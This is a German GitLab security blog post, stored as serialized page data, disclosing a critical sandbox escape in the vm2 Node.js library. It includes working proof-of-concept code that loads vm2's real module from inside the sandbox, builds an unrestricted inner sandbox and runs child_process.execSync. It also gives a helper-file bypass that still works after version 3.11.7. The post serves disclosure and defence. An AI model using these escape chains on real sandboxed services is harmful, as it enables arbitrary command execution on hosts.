[{"data":1,"prerenderedAt":1815},["ShallowReactive",2],{"/de-de/blog/critical-remote-code-execution-in-vm2":3,"navigation-de-de":1048,"banner-de-de":1484,"footer-de-de":1491,"blog-post-authors-de-de-Abisheik Magesh|Daniel Abeles":1748,"blog-related-posts-de-de-critical-remote-code-execution-in-vm2":1774,"blog-share-wrapper-de-de":1795,"next-steps-de-de":1805},{"id":4,"title":5,"authors":6,"body":9,"category":1029,"date":1030,"description":1031,"extension":1032,"externalUrl":1033,"faq":1033,"featured":1034,"heroImage":1035,"meta":1036,"navigation":271,"path":1037,"seo":1038,"slug":1042,"stem":1043,"tags":1044,"template":1046,"updatedDate":1033,"__hash__":1047},"blogPosts/de-de/blog/critical-remote-code-execution-in-vm2.md","Kritische Remote Code Execution in der weit verbreiteten Node.js-Sandbox vm2",[7,8],"Abisheik Magesh","Daniel Abeles",{"type":10,"value":11,"toc":1019},"minimark",[12,28,35,38,61,64,69,80,83,87,98,159,184,191,327,347,445,451,545,551,575,592,595,680,684,703,713,719,805,814,817,825,834,838,841,854,862,887,891,912,927,931,989,992,996,1008,1012,1015],[13,14,15,16,22,23,27],"p",{},"Die Threat Research Group von GitLab hat eine kritische ",[17,18,21],"a",{"href":19,"rel":20},"https://about.gitlab.com/de-de/blog/ai-can-detect-vulnerabilities-but-who-governs-risk/",[],"Sandbox-Escape-Schwachstelle"," in vm2 gefunden, einer der am weitesten verbreiteten Sandboxing-Bibliotheken für Node.js. Die Schwachstelle nutzt eine Konfiguration, die unverändert aus der README von vm2 stammt. Gefunden haben wir sie mit unseren eigenen KI-gestützten, automatisierten Werkzeugen; die Bewertung liegt bei CVSS 3.1: 10.0 (kritisch). Wer vm2 in Version 3.11.6 oder älter mit aktiviertem ",[24,25,26],"code",{},"require.external"," betreibt, sollte die Schwachstelle als unmittelbar ausnutzbar behandeln.",[13,29,30,34],{},[31,32,33],"strong",{},"Nach dem Fund haben wir geprüft, dass GitLab vm2 nicht einsetzt."," Wir haben die Schwachstelle zudem vertraulich an vm2 gemeldet; der Maintainer hat sie in Version 3.11.7 behoben. Ein erneuter Test gegen diesen Fix zeigte, dass er genau den von uns gemeldeten Angriff blockiert.",[13,36,37],{},"Wer vm2 einsetzt, sollte allerdings wissen: Über diesen einen Patch hinaus besteht ein grundsätzlicheres Konfigurationsrisiko. Das ergibt sich aus der Beschreibung des Fixes durch den Maintainer selbst.",[39,40,41,46,49,52,55,58],"blockquote",{},[13,42,43],{},[31,44,45],{},"TL;DR",[13,47,48],{},"Kritische Schwachstelle: Die Threat Research Group von GitLab hat einen kritischen Sandbox Escape (CVSS 3.1: 10.0) in vm2 entdeckt, einer weit verbreiteten Sandboxing-Bibliothek für Node.js. Er ermöglicht Remote Code Execution.",[13,50,51],{},"Ursache: Die Schwachstelle geht auf Standardkonfigurationen aus den „Quick Examples“ der README zurück. Die Sandbox grenzt sich dort nicht ausreichend vom Hostsystem ab, wodurch Schadcode uneingeschränkten Zugriff erlangt.",[13,53,54],{},"Grenzen des Fixes: Das Update auf Version 3.11.7 blockiert den konkret gemeldeten Angriff, beseitigt das zugrunde liegende Konfigurationsrisiko aber nicht vollständig. Wer require.external weiterhin mit zu weit gefassten require.root-Einstellungen nutzt, bleibt angreifbar.",[13,56,57],{},"Sofortmaßnahmen: Auf Version 3.11.7 aktualisieren und zusätzlich die Konfiguration selbst härten: require.root auf die tatsächlich benötigten Dateien beschränken und context: 'sandbox' setzen, statt sich auf den Standardwert 'host' zu verlassen.",[13,59,60],{},"Langfristig: Angesichts der wiederkehrenden Sandbox-Escape-Fehler in vm2 empfiehlt es sich, die Bibliothek nicht zur Isolierung tatsächlich nicht vertrauenswürdigen Codes einzusetzen, sondern auf robustere Verfahren wie Container oder separate Prozesse zu setzen.",[62,63],"br",{},[65,66,68],"h2",{"id":67},"warum-sandboxing-bibliotheken-ein-lohnendes-ziel-sind","Warum Sandboxing-Bibliotheken ein lohnendes Ziel sind",[13,70,71,72,75,76,79],{},"Anwendungen, die Code ausführen, dem sie nicht vollständig vertrauen – Plugin-Systeme, Coding-Playgrounds, CI-Test-Runner und inzwischen auch Tools, die eine KI ihren eigenen generierten Code ausführen lassen –, können diesen Code nicht einfach an Nodes reguläre Funktionen ",[24,73,74],{},"require()"," und ",[24,77,78],{},"eval()"," übergeben. Sonst hätte der Code dieselben Rechte wie die Anwendung selbst.",[13,81,82],{},"vm2 soll diese Lücke schließen. Die Bibliothek stellt dem nicht vertrauenswürdigen Code eine nachgebildete JavaScript-Umgebung bereit und blockiert jeden Zugriff auf das darunterliegende reale System. Gelingt einem Angreifer jedoch der Ausbruch aus dieser Sandbox, ist der Schutz wirkungslos – für die Entwickler(innen), die vm2 eingebunden haben, sieht dabei alles unverändert korrekt aus. Und weil so viele Anwendungen vm2 verwenden, wird aus einer Lücke in der Bibliothek eine Lücke in jeder darauf aufbauenden Anwendung.",[65,84,86],{"id":85},"wie-die-schwachstelle-funktioniert","Wie die Schwachstelle funktioniert",[13,88,89,90,93,94,97],{},"Das ",[24,91,92],{},"NodeVM"," von vm2 kennt eine Option ",[24,95,96],{},"require",", die steuert, ob der Code in der Sandbox Module außerhalb der JavaScript-Standardmodule laden darf. Das folgende Beispiel ist das erste in der README von vm2, im Abschnitt „Quick Examples“:",[99,100,105],"pre",{"className":101,"code":102,"language":103,"meta":104,"style":104},"language-javascript shiki shiki-themes github-light","const vm = new NodeVM({\n  require: { external: true, root: './' },\n});\n","javascript","",[24,106,107,134,153],{"__ignoreMap":104},[108,109,112,116,120,123,126,130],"span",{"class":110,"line":111},"line",1,[108,113,115],{"class":114},"sD7c4","const",[108,117,119],{"class":118},"sYu0t"," vm",[108,121,122],{"class":114}," =",[108,124,125],{"class":114}," new",[108,127,129],{"class":128},"s7eDp"," NodeVM",[108,131,133],{"class":132},"sgsFI","({\n",[108,135,137,140,143,146,150],{"class":110,"line":136},2,[108,138,139],{"class":132},"  require: { external: ",[108,141,142],{"class":118},"true",[108,144,145],{"class":132},", root: ",[108,147,149],{"class":148},"sYBdl","'./'",[108,151,152],{"class":132}," },\n",[108,154,156],{"class":110,"line":155},3,[108,157,158],{"class":132},"});\n",[13,160,161,164,165,167,168,171,172,175,176,179,180,183],{},[24,162,163],{},"external: true"," erlaubt dem Code in der Sandbox, ",[24,166,74],{}," auf externe Dateien anzuwenden. ",[24,169,170],{},"root"," soll das auf einen sicheren Ordner begrenzen. In einem üblichen npm-Projekt liegt ",[24,173,174],{},"./node_modules"," – und damit auch die installierte Kopie von vm2 selbst – jedoch innerhalb von ",[24,177,178],{},"./",". ",[24,181,182],{},"root: './'"," sieht also nach einer Schutzregel aus, hält vm2 tatsächlich aber nicht draußen.",[13,185,186,187,190],{},"Zwei Standardeinstellungen in ",[24,188,189],{},"lib/resolver-compat.js"," machen aus dieser Lücke vollständige Codeausführung:",[99,192,194],{"className":101,"code":193,"language":103,"meta":104,"style":104},"const {\n  external: externalOpt,\n  root: rootPaths,\n  context = 'host',   // defaults to 'host'\n  ...\n} = options;\n\nisPathAllowed(filename) {\n  if (this.rootPaths === undefined) return true;\n  // otherwise: is filename inside rootPaths?\n}\n",[24,195,196,203,218,230,248,254,266,273,282,315,321],{"__ignoreMap":104},[108,197,198,200],{"class":110,"line":111},[108,199,115],{"class":114},[108,201,202],{"class":132}," {\n",[108,204,205,209,212,215],{"class":110,"line":136},[108,206,208],{"class":207},"sqxcx","  external",[108,210,211],{"class":132},": ",[108,213,214],{"class":118},"externalOpt",[108,216,217],{"class":132},",\n",[108,219,220,223,225,228],{"class":110,"line":155},[108,221,222],{"class":207},"  root",[108,224,211],{"class":132},[108,226,227],{"class":118},"rootPaths",[108,229,217],{"class":132},[108,231,233,236,238,241,244],{"class":110,"line":232},4,[108,234,235],{"class":118},"  context",[108,237,122],{"class":114},[108,239,240],{"class":148}," 'host'",[108,242,243],{"class":132},",   ",[108,245,247],{"class":246},"sAwPA","// defaults to 'host'\n",[108,249,251],{"class":110,"line":250},5,[108,252,253],{"class":132},"  ...\n",[108,255,257,260,263],{"class":110,"line":256},6,[108,258,259],{"class":132},"} ",[108,261,262],{"class":114},"=",[108,264,265],{"class":132}," options;\n",[108,267,269],{"class":110,"line":268},7,[108,270,272],{"emptyLinePlaceholder":271},true,"\n",[108,274,276,279],{"class":110,"line":275},8,[108,277,278],{"class":128},"isPathAllowed",[108,280,281],{"class":132},"(filename) {\n",[108,283,285,288,291,294,297,300,303,306,309,312],{"class":110,"line":284},9,[108,286,287],{"class":114},"  if",[108,289,290],{"class":132}," (",[108,292,293],{"class":118},"this",[108,295,296],{"class":132},".rootPaths ",[108,298,299],{"class":114},"===",[108,301,302],{"class":118}," undefined",[108,304,305],{"class":132},") ",[108,307,308],{"class":114},"return",[108,310,311],{"class":118}," true",[108,313,314],{"class":132},";\n",[108,316,318],{"class":110,"line":317},10,[108,319,320],{"class":246},"  // otherwise: is filename inside rootPaths?\n",[108,322,324],{"class":110,"line":323},11,[108,325,326],{"class":132},"}\n",[13,328,329,332,333,335,336,339,340,343,344,346],{},[24,330,331],{},"require('./node_modules/vm2')"," besteht die Prüfung, weil dieser Pfad innerhalb von ",[24,334,170],{}," liegt. Und weil ",[24,337,338],{},"context"," standardmäßig auf ",[24,341,342],{},"'host'"," steht, wird die Datei über das reale, nicht gesandboxte ",[24,345,74],{}," von Node geladen – nicht über den eigenen Loader von vm2:",[99,348,350],{"className":101,"code":349,"language":103,"meta":104,"style":104},"loadJS(vm, mod, filename) {\n  if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);\n  const m = this.hostRequire(filename);   // real Node.js require()\n  mod.exports = vm.readonly(m);\n}\n",[24,351,352,360,401,425,441],{"__ignoreMap":104},[108,353,354,357],{"class":110,"line":111},[108,355,356],{"class":128},"loadJS",[108,358,359],{"class":132},"(vm, mod, filename) {\n",[108,361,362,364,366,368,371,374,377,380,382,385,387,389,391,394,396,398],{"class":110,"line":136},[108,363,287],{"class":114},[108,365,290],{"class":132},[108,367,293],{"class":118},[108,369,370],{"class":132},".",[108,372,373],{"class":128},"pathContext",[108,375,376],{"class":132},"(filename, ",[108,378,379],{"class":148},"'js'",[108,381,305],{"class":132},[108,383,384],{"class":114},"!==",[108,386,240],{"class":148},[108,388,305],{"class":132},[108,390,308],{"class":114},[108,392,393],{"class":118}," super",[108,395,370],{"class":132},[108,397,356],{"class":128},[108,399,400],{"class":132},"(vm, mod, filename);\n",[108,402,403,406,409,411,414,416,419,422],{"class":110,"line":155},[108,404,405],{"class":114},"  const",[108,407,408],{"class":118}," m",[108,410,122],{"class":114},[108,412,413],{"class":118}," this",[108,415,370],{"class":132},[108,417,418],{"class":128},"hostRequire",[108,420,421],{"class":132},"(filename);   ",[108,423,424],{"class":246},"// real Node.js require()\n",[108,426,427,430,432,435,438],{"class":110,"line":232},[108,428,429],{"class":132},"  mod.exports ",[108,431,262],{"class":114},[108,433,434],{"class":132}," vm.",[108,436,437],{"class":128},"readonly",[108,439,440],{"class":132},"(m);\n",[108,442,443],{"class":110,"line":250},[108,444,326],{"class":132},[13,446,447,448,450],{},"Ab diesem Punkt hält der Code in der Sandbox keine eingeschränkte, gekapselte Kopie von vm2 mehr in Händen, sondern das reale Modul mit allen Rechten. Über diese reale Kopie startet er eine zweite ",[24,449,92],{}," mit selbst gewählten Regeln:",[99,452,454],{"className":101,"code":453,"language":103,"meta":104,"style":104},"const real = require('./node_modules/vm2');\nconst inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } });\nmodule.exports = inner.run(\n  \"module.exports = require('child_process').execSync('whoami').toString().trim()\",\n  'inner.js'\n);\n",[24,455,456,477,508,529,536,541],{"__ignoreMap":104},[108,457,458,460,463,465,468,471,474],{"class":110,"line":111},[108,459,115],{"class":114},[108,461,462],{"class":118}," real",[108,464,122],{"class":114},[108,466,467],{"class":128}," require",[108,469,470],{"class":132},"(",[108,472,473],{"class":148},"'./node_modules/vm2'",[108,475,476],{"class":132},");\n",[108,478,479,481,484,486,488,491,493,496,499,502,505],{"class":110,"line":136},[108,480,115],{"class":114},[108,482,483],{"class":118}," inner",[108,485,122],{"class":114},[108,487,125],{"class":114},[108,489,490],{"class":132}," real.",[108,492,92],{"class":128},[108,494,495],{"class":132},"({ require: { builtin: [",[108,497,498],{"class":148},"'child_process'",[108,500,501],{"class":132},"], external: ",[108,503,504],{"class":118},"false",[108,506,507],{"class":132}," } });\n",[108,509,510,513,515,518,520,523,526],{"class":110,"line":155},[108,511,512],{"class":118},"module",[108,514,370],{"class":132},[108,516,517],{"class":118},"exports",[108,519,122],{"class":114},[108,521,522],{"class":132}," inner.",[108,524,525],{"class":128},"run",[108,527,528],{"class":132},"(\n",[108,530,531,534],{"class":110,"line":232},[108,532,533],{"class":148},"  \"module.exports = require('child_process').execSync('whoami').toString().trim()\"",[108,535,217],{"class":132},[108,537,538],{"class":110,"line":250},[108,539,540],{"class":148},"  'inner.js'\n",[108,542,543],{"class":110,"line":256},[108,544,476],{"class":132},[13,546,547,548,370],{},"Die Regeln der äußeren Sandbox gelten für die innere nicht, denn es handelt sich um eine völlig neue Sandbox, die der Angreifer selbst erzeugt hat – mit aktiviertem ",[24,549,550],{},"child_process",[13,552,553,554,557,558,560,561,75,564,567,568,571,572,574],{},"Versucht der Angreifer, ",[24,555,556],{},"fs"," oder ",[24,559,550],{}," direkt aus der äußeren Sandbox heraus zu erreichen, schlägt das weiterhin fehl, wie es soll (",[24,562,563],{},"require('fs')",[24,565,566],{},"require('child_process')"," werfen beide ",[24,569,570],{},"\"Cannot find module\"","). Alle regulären Sperren greifen. Die einzige Lücke ist das ",[24,573,74],{}," einer Datei, die zufällig das Paket von vm2 selbst ist. Dann hält der Angreifer keine blockierte, nachgebildete Kopie mehr in Händen, sondern die reale.",[13,576,577,578,581,582,585,586,591],{},"In vm2 gab es bereits zwei frühere Sandbox-Escape-Fehler mit demselben Ergebnis: einen Bypass über ",[24,579,580],{},"nesting: true"," (GHSA-8hg8-63c5-gwmx) und einen Symlink-Bypass über ",[24,583,584],{},"require.root"," (GHSA-cp6g-6699-wx9c). Ähnliche Angriffsmuster auf Coding-Agenten hat die Threat Research Group auch in ",[17,587,590],{"href":588,"rel":589},"https://about.gitlab.com/de-de/blog/critical-rce-in-serena/",[],"Serena untersucht",". Keiner der beiden Fixes berührt diesen Code. Wer beide behoben hat, ist gegenüber dieser Schwachstelle weiterhin vollständig ungeschützt.",[13,593,594],{},"Die vollständige Angriffskette Schritt für Schritt:",[596,597,598,608,618,658,671],"ol",{},[599,600,601,604,605,370],"li",{},[31,602,603],{},"Der Aufbau."," Eine Entwicklerin erstellt die Sandbox genau so, wie es die README von vm2 im Abschnitt „Quick Examples“ zeigt: ",[24,606,607],{},"new NodeVM({ require: { external: true, root: './' } })",[599,609,610,613,614,617],{},[31,611,612],{},"Der nicht vertrauenswürdige Code läuft an."," ",[24,615,616],{},"vm.run(untrustedCode)"," führt den Code aus, den der Angreifer kontrolliert.",[599,619,620,623,624,626,627,630,631],{},[31,621,622],{},"Der Code lädt vm2 selbst."," Er ruft ",[24,625,331],{}," auf. Dabei laufen zwei Dinge falsch, beide in ",[24,628,629],{},"resolver-compat.js",":",[632,633,634,646],"ul",{},[599,635,636,639,640,642,643,645],{},[24,637,638],{},"isPathAllowed()"," gibt ",[24,641,142],{}," zurück, weil dieser Pfad innerhalb von ",[24,644,170],{}," liegt.",[599,647,648,650,651,653,654,657],{},[24,649,338],{}," steht standardmäßig auf ",[24,652,342],{},", deshalb läuft ",[24,655,656],{},"hostRequire()"," statt des eigenen Loaders von vm2. Ergebnis: Der Code des Angreifers hält nun das reale, ungekapselte vm2-Modul – keine gesandboxte Kopie.",[599,659,660,663,664,666,667,670],{},[31,661,662],{},"Der Code baut eine zweite, unbeschränkte Sandbox."," Mit diesem realen vm2-Modul erzeugt er eine neue ",[24,665,92],{}," mit eigenen Einstellungen: ",[24,668,669],{},"new real.NodeVM({ require: { builtin: ['child_process'] } })",". Diese zweite Sandbox steht vollständig unter der Kontrolle des Angreifers.",[599,672,673,613,676,679],{},[31,674,675],{},"Der Code läuft ohne Einschränkung.",[24,677,678],{},"inner.run(\"require('child_process').execSync(...)\")"," wird ausgeführt, und der Angreifer kann beliebige Befehle auf dem Host ausführen.",[65,681,683],{"id":682},"der-fix-und-was-er-tatsächlich-abdeckt","Der Fix – und was er tatsächlich abdeckt",[13,685,686,687,689,690,692,693,696,697,699,700,702],{},"Der Maintainer hat den Ablauf bestätigt und einen von uns zusätzlich eingereichten Duplikatsbericht (GHSA-w9c4-gw9x-53mq) zugunsten dieses Berichts geschlossen. Der ausgelieferte Fix in ",[24,688,189],{}," blockiert ein ",[24,691,74],{}," aus der Sandbox auf den ",[24,694,695],{},"lib/","-Ordner und die Hauptdatei von vm2. Damit ist der Trick mit der verschachtelten VM unabhängig davon geschlossen, worauf ",[24,698,584],{}," gesetzt ist. ",[24,701,580],{}," bleibt unberührt, weil es sich dabei um einen anderen Fehler handelt.",[13,704,705,706,709,710,712],{},"Der Fix greift allerdings enger, als es zunächst wirkt. Wer ",[24,707,708],{},"require.external: true"," aktiviert, ohne ",[24,711,584],{}," überhaupt zu setzen, erhält von vm2 nun lediglich eine Warnung statt einer Blockade – der Code läuft weiterhin.",[13,714,715,716,718],{},"Richtet man denselben README-Aufbau jedoch auf eine beliebige andere Datei auf der Festplatte, die ",[24,717,550],{}," bereitstellt – statt auf das Paket von vm2 selbst –, ist auch unter 3.11.7 weiterhin vollständige Remote Code Execution möglich. Ohne Fehlermeldung, ohne Warnung:",[99,720,722],{"className":101,"code":721,"language":103,"meta":104,"style":104},"// evil-helper/index.js, unrelated to vm2\nmodule.exports = require('child_process');\n\nconst cp = require('./evil-helper/index.js');\nmodule.exports = cp.execSync('whoami').toString().trim();\n",[24,723,724,729,747,751,769],{"__ignoreMap":104},[108,725,726],{"class":110,"line":111},[108,727,728],{"class":246},"// evil-helper/index.js, unrelated to vm2\n",[108,730,731,733,735,737,739,741,743,745],{"class":110,"line":136},[108,732,512],{"class":118},[108,734,370],{"class":132},[108,736,517],{"class":118},[108,738,122],{"class":114},[108,740,467],{"class":128},[108,742,470],{"class":132},[108,744,498],{"class":148},[108,746,476],{"class":132},[108,748,749],{"class":110,"line":155},[108,750,272],{"emptyLinePlaceholder":271},[108,752,753,755,758,760,762,764,767],{"class":110,"line":232},[108,754,115],{"class":114},[108,756,757],{"class":118}," cp",[108,759,122],{"class":114},[108,761,467],{"class":128},[108,763,470],{"class":132},[108,765,766],{"class":148},"'./evil-helper/index.js'",[108,768,476],{"class":132},[108,770,771,773,775,777,779,782,785,787,790,793,796,799,802],{"class":110,"line":250},[108,772,512],{"class":118},[108,774,370],{"class":132},[108,776,517],{"class":118},[108,778,122],{"class":114},[108,780,781],{"class":132}," cp.",[108,783,784],{"class":128},"execSync",[108,786,470],{"class":132},[108,788,789],{"class":148},"'whoami'",[108,791,792],{"class":132},").",[108,794,795],{"class":128},"toString",[108,797,798],{"class":132},"().",[108,800,801],{"class":128},"trim",[108,803,804],{"class":132},"();\n",[13,806,807,808,810,811,813],{},"Die neue Warnung in 3.11.7 erscheint nur, wenn ",[24,809,170],{}," vollständig fehlt. Ist ",[24,812,170],{}," gesetzt, aber weiterhin zu weit gefasst – genau das tut das README-Beispiel –, gibt es überhaupt keine Warnung. Beide Fälle haben wir selbst nachgeprüft.",[13,815,816],{},"Zwei weitere Punkte:",[632,818,819,822],{},[599,820,821],{},"Der CLI-Fix, den der Maintainer zusammen mit diesem ausgeliefert hat, hat ein eigenes Advisory (GHSA-jxxv-8r27-vm4p).",[599,823,824],{},"Version 3.11.7 ist ein Sammel-Release, das zusätzlich drei weitere, nicht zusammenhängende Fehler behebt.",[13,826,827,828,830,831,833],{},"Kurz gefasst: Version 3.11.7 schließt diesen einen Angriffsweg zuverlässig. Das umfassendere Risiko für jede Anwendung, die ",[24,829,26],{}," ohne einen streng abgegrenzten, leeren ",[24,832,170],{},"-Ordner nutzt, ist das größere und schwierigere Problem – und sollte gesondert angegangen werden.",[65,835,837],{"id":836},"die-eigene-betroffenheit-prüfen","Die eigene Betroffenheit prüfen",[13,839,840],{},"vm2 wird seit Jahren in Plugin-Systemen, Plattformen zur Codeausführung und CI-Tools eingesetzt – und zunehmend in KI-Tools, die von einem KI-Modell geschriebenen Code ausführen. Die Verbreitung ist in jeder Messung hoch: rund 1,25 Millionen Downloads pro Woche und über 5 Millionen pro Monat auf npm, dazu mehr als 4.000 GitHub-Stars und 328 Forks.",[13,842,843,844,847,848,850,851,853],{},"Es handelt sich hier nicht um eine fehlerhafte Einrichtung durch Anwender(innen). Es ist das erste Beispiel in der README von vm2. Wer dieses Beispiel übernommen hat, ohne selbst zu prüfen, wo ",[24,845,846],{},"node_modules"," relativ zu ",[24,849,170],{}," liegt, ist standardmäßig betroffen – vor und nach dem Update auf Version 3.11.7, solange ",[24,852,584],{}," nicht selbst eingeschränkt wird.",[13,855,856,857,861],{},"vm2 bleibt aus den folgenden Gründen angreifbar (einen breiteren Überblick über aktuelle Schwachstellenkategorien bietet die ",[17,858,860],{"href":859},"/de-de/blog/2025-owasp-top-10-whats-changed-and-why-it-matters/","OWASP Top 10 2025","):",[632,863,864,870,881],{},[599,865,866,867,869],{},"Eine Standardeinstellung, die sicher aussieht, es aber nicht ist. ",[24,868,182],{}," liest sich wie eine Begrenzung. Ob tatsächlich etwas begrenzt wird, hängt jedoch vollständig davon ab, was sonst in diesem Ordner liegt.",[599,871,872,873,650,875,877,878,880],{},"Ein riskanter Standardwert ohne Warnhinweis. ",[24,874,338],{},[24,876,342],{},". Dieser Umstand findet sich lediglich in Codekommentaren – anders als bei ",[24,879,580],{},", das eine hervorgehobene Warnung und einen eigenen Abschnitt in der README erhält.",[599,882,883,884,886],{},"Ein Muster, das leicht übersehen wird. Ein früherer Fehler führte über ",[24,885,580],{}," zum selben Ergebnis einer unbeschränkten verschachtelten VM. Beide Fixes schließen den jeweils gemeldeten Trick zuverlässig. Die gemeinsame Ursache dahinter lässt sich in einem Durchgang schwerer vollständig beseitigen – eine wiederkehrende Schwierigkeit in der Offenlegungshistorie von vm2: Die Bibliothek verzeichnet bis 2026 eine lange Reihe kritischer Sandbox-Escape-Fehler, und bei einigen davon waren nachvollziehbarerweise mehrere Anläufe nötig.",[65,888,890],{"id":889},"was-das-für-dich-bedeutet","Was das für dich bedeutet",[13,892,893,896,897,899,900,902,903,557,905,907,908,911],{},[31,894,895],{},"Wenn du vm2 einsetzt:"," Aktualisiere auf Version 3.11.7 – und belasse es nicht dabei. Das Update allein behebt das Problem nicht. Richte ",[24,898,584],{}," auf einen Ordner, der ausschließlich die Dateien enthält, die die Sandbox tatsächlich benötigt, und halte ",[24,901,846],{}," sowie alles, was direkt oder über eine weitere Datei ",[24,904,550],{},[24,906,556],{}," erreichen kann, daraus fern. Setze ",[24,909,910],{},"context: 'sandbox'"," selbst, statt den Standardwert stehen zu lassen. Und angesichts der Historie von vm2: Wähle die Bibliothek in einem neuen Projekt nicht zur Isolierung von tatsächlich nicht vertrauenswürdigem Code. Container oder separate Prozesse bilden die stabilere Grenze.",[13,913,914,917,918,922,923,926],{},[31,915,916],{},"Wenn du selbst Sandboxing-Werkzeuge entwickelst:"," Eine Einstellung nach dem Muster „auf diesen Ordner begrenzen“ ist nur so sicher wie die schwächste Datei in diesem Ordner. Prüfe Einstellungen, die verändern, ",[919,920,921],"em",{},"wie"," Code geladen wird (gesandboxt oder real), ebenso genau wie Einstellungen, die festlegen, ",[919,924,925],{},"was"," geladen werden darf. Teste die Standardeinstellungen einer Bibliothek selbst, statt ihnen zu vertrauen, weil sie offiziell sind. Und geh nicht davon aus, dass ein Fix das eigentliche Problem löst, nur weil er den einen Testangriff abwehrt.",[65,928,930],{"id":929},"zeitlicher-ablauf-der-offenlegung","Zeitlicher Ablauf der Offenlegung",[932,933,934,947],"table",{},[935,936,937],"thead",{},[938,939,940,944],"tr",{},[941,942,943],"th",{},"Datum",[941,945,946],{},"Ereignis",[948,949,950,959,967,974,981],"tbody",{},[938,951,952,956],{},[953,954,955],"td",{},"2026-07-23",[953,957,958],{},"Meldung beim Maintainer über ein privates Security Advisory auf GitHub eröffnet",[938,960,961,964],{},[953,962,963],{},"2026-08-18",[953,965,966],{},"Meldung vom Maintainer angenommen",[938,968,969,971],{},[953,970,963],{},[953,972,973],{},"Fix im privaten Fork des Maintainers committet",[938,975,976,978],{},[953,977,963],{},[953,979,980],{},"Fix im privaten Fork gegen unseren PoC validiert",[938,982,983,986],{},[953,984,985],{},"2026-08-24",[953,987,988],{},"Öffentliches Advisory veröffentlicht; vm2 3.11.7 freigegeben, CVE beantragt",[13,990,991],{},"Wir danken dem Maintainer von vm2 für die Annahme der Meldung und den Fix im selben Release. Die hier dargestellten Ergebnisse bauen auf der Erläuterung des Fixes durch den Maintainer auf. Sie widersprechen ihr nicht.",[65,993,995],{"id":994},"wie-gitlab-unterstützen-kann","Wie GitLab unterstützen kann",[13,997,998,999,1004,1005,1007],{},"Der ",[17,1000,1003],{"href":1001,"rel":1002},"https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/",[],"GitLab Duo Security Analyst Agent",", Teil der GitLab Duo Agent Platform, kann dabei helfen, die eigene Codebasis auf dasselbe Problem zu prüfen. Eine Frage wie „Führt dieses Projekt nicht vertrauenswürdigen Code über eine Sandboxing-Bibliothek mit aktiviertem ",[24,1006,26],{}," aus?“ ist ein guter Ausgangspunkt.",[65,1009,1011],{"id":1010},"ausblick","Ausblick",[13,1013,1014],{},"Die Historie von vm2 erinnert daran, dass selbst ein sauber gehandhabter Fix ein umfassenderes Konfigurationsrisiko bestehen lassen kann – schlicht weil der gemeldete Fall und das zugrunde liegende Muster nicht immer dasselbe sind. Wer die Sicherheitshistorie einer Sandboxing-Bibliothek betrachtet, sollte deshalb nicht nur fragen, ob eine Meldung behoben wurde, sondern auch, ob der Fix das breitere Muster abdeckt. Und es lohnt sich immer, die tatsächliche Codeänderung selbst zu prüfen, bevor man anderen gegenüber Entwarnung gibt.",[1016,1017,1018],"style",{},"html pre.shiki code .sD7c4, html code.shiki .sD7c4{--shiki-default:#D73A49}html pre.shiki code .sYu0t, html code.shiki .sYu0t{--shiki-default:#005CC5}html pre.shiki code .s7eDp, html code.shiki .s7eDp{--shiki-default:#6F42C1}html pre.shiki code .sgsFI, html code.shiki .sgsFI{--shiki-default:#24292E}html pre.shiki code .sYBdl, html code.shiki .sYBdl{--shiki-default:#032F62}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sqxcx, html code.shiki .sqxcx{--shiki-default:#E36209}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}",{"title":104,"searchDepth":136,"depth":136,"links":1020},[1021,1022,1023,1024,1025,1026,1027,1028],{"id":67,"depth":136,"text":68},{"id":85,"depth":136,"text":86},{"id":682,"depth":136,"text":683},{"id":836,"depth":136,"text":837},{"id":889,"depth":136,"text":890},{"id":929,"depth":136,"text":930},{"id":994,"depth":136,"text":995},{"id":1010,"depth":136,"text":1011},"security-labs","2026-09-02","GitLabs Threat Research Group hat einen kritischen Sandbox Escape in vm2 gefunden – ausgelöst durch die dokumentierte Konfiguration der Bibliothek selbst.","md",null,false,"https://res.cloudinary.com/about-gitlab-com/image/upload/v1782237704/cj50chkvprjthczevmog.png",{},"/de-de/blog/critical-remote-code-execution-in-vm2",{"config":1039,"title":1040,"description":1041},{"noIndex":1034},"Kritische RCE in der Node.js-Sandbox vm2","GitLabs Threat Research Group entdeckte einen kritischen Sandbox Escape in vm2 – ausgelöst durch die dokumentierte Standardkonfiguration.","critical-remote-code-execution-in-vm2","de-de/blog/critical-remote-code-execution-in-vm2",[1045],"security","BlogPost","IV2eOrjH8Z4THu8IPzk4nxMJSsZI5Pmy1bZFW7UwCj0",{"logo":1049,"freeTrial":1054,"sales":1059,"login":1064,"items":1069,"search":1400,"minimal":1435,"duo":1454,"switchNav":1463,"pricingDeployment":1474},{"config":1050},{"href":1051,"dataGaName":1052,"dataGaLocation":1053},"/de-de/","gitlab logo","header",{"text":1055,"config":1056},"Kostenlose Testversion anfordern",{"href":1057,"dataGaName":1058,"dataGaLocation":1053},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/de-de&glm_content=default-saas-trial/","free trial",{"text":1060,"config":1061},"Demo anfordern",{"href":1062,"dataGaName":1063,"dataGaLocation":1053},"/request-a-demo/","sales",{"text":1065,"config":1066},"Anmelden",{"href":1067,"dataGaName":1068,"dataGaLocation":1053},"https://gitlab.com/users/sign_in/","sign in",[1070,1156,1244,1249,1324,1378],{"text":1071,"left":271,"config":1072,"menu":1074},"Plattform",{"dataNavLevelOne":1073},"platform",{"type":1075,"link":1076,"columns":1080,"feature":1145},"lists",{"text":1077,"config":1078},"Die Plattform erkunden",{"href":1079,"dataGaName":1073,"dataGaLocation":1053},"/de-de/platform/",[1081,1104,1127],{"title":1082,"items":1083},"Ausführung und Workflows",[1084,1089,1094,1099],{"text":1085,"config":1086},"CI/CD",{"href":1087,"dataGaLocation":1053,"dataGaName":1088},"/de-de/solutions/continuous-integration/","ci/cd",{"text":1090,"config":1091},"Quellcodeverwaltung",{"href":1092,"dataGaLocation":1053,"dataGaName":1093},"/de-de/solutions/source-code-management/","source code management",{"text":1095,"config":1096},"Agile 